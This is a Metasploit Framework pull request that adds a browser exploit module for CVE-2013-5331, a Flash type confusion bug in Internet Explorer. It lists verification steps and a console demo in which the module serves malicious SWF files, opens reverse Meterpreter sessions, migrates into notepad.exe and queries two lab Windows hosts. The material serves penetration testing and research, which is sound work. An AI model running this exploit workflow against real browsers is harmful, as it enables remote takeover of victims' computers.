rapid7/metasploit-framework — pull request #3304 by jvazquez-r7 (2014-04-28 01:16:26+00:00)
Title: Module for  CVE-2013-5331

Verification:
--------------
- [ ] Install Windows XPSP3 or Windows 7 SP1, IE6 / IE10 (I've tested IE6 and IE10, should also work on IE7,8,8), and Flash 11.7, 11.8 or 11.9 (ActiveX !) prior to 11.9.900.170
- [ ] Run the module like in the demo, hopefully enjoy sessions!

DEMO:
----------

```
msf > use exploit/windows/browser/adobe_flash_filters_type_confusion
msf exploit(adobe_flash_filters_type_confusion) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444
[*] Using URL: http://0.0.0.0:8080/tU9FrE66A
[*] Local IP: http://192.168.0.3:8080/tU9FrE66A
[*] Server started.
msf exploit(adobe_flash_filters_type_confusion) > [*] 192.168.0.3 adobe_flash_filters_type_confusion - Gathering target information.
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Sending response HTML.
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Request: /tU9FrE66A/qyxqkk/
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Sending HTML...
[*] 192.168.0.3 adobe_flash_filters_type_confusion - showme the money
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Request: /tU9FrE66A/qyxqkk/JefYW.swf
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Sending SWF...
[*] Sending stage (769536 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.3:55286) at 2014-04-27 10:05:58 -0500
[*] Session ID 1 (192.168.0.3:4444 -> 192.168.0.3:55286) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3060)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2588
[+] Successfully migrated to process
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Gathering target information.
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Sending response HTML.
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Request: /tU9FrE66A/qyxqkk/
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Sending HTML...
[*] 192.168.0.3 adobe_flash_filters_type_confusion - showme the money
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Request: /tU9FrE66A/qyxqkk/foTRS.swf
[*] 192.168.0.3 adobe_flash_filters_type_confusion - Sending SWF...
[*] Sending stage (769536 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.3:55290) at 2014-04-27 10:06:13 -0500
[*] Session ID 2 (192.168.0.3:4444 -> 192.168.0.3:55290) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3872)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3964
[+] Successfully migrated to process

msf exploit(adobe_flash_filters_type_confusion) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.135 - Meterpreter session 1 closed. Reason: User exit
msf exploit(adobe_flash_filters_type_confusion) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.131 - Meterpreter session 2 closed. Reason: User exit
```